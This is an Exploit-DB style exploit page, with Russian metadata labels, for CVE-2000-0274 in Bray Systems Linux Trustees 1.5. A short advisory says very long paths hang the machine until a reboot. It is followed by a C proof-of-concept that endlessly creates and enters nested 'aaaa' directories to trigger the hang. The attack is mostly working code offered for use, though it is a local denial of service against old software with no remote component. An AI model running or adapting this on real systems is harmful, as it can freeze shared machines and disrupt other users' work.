Exploit Bray Systems Linux Trustees 1.5 - Long Pathname

[Exploiter]

EDB-ID

19837

Проверка EDB

1. Пройдено

Автор

ANDREY E. LERMAN

Тип уязвимости

LOCAL

Платформа

LINUX

CVE

cve-2000-0274

Дата публикации

2000-04-10

Bray Systems Linux Trustees 1.5 - Long Pathname

// source: https://www.securityfocus.com/bid/1096/info

Bray Systems Linux Trustees is an access control program which manages user permissions similar to implementations of Netware. Requesting an unusually long file or directory path will cause the application to hang. Other processes may also be affected. In order to regain normal functionality, the user must reboot the machine.

#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>

int main(void)
{

while(1) {
	if(mkdir("aaaa",0777)<0) {
		perror("mkdir");
		exit(1);
		}
	if(chdir("aaaa")<0) {
		perror("chdir");
		exit(1);
		}
	}

return(0);
}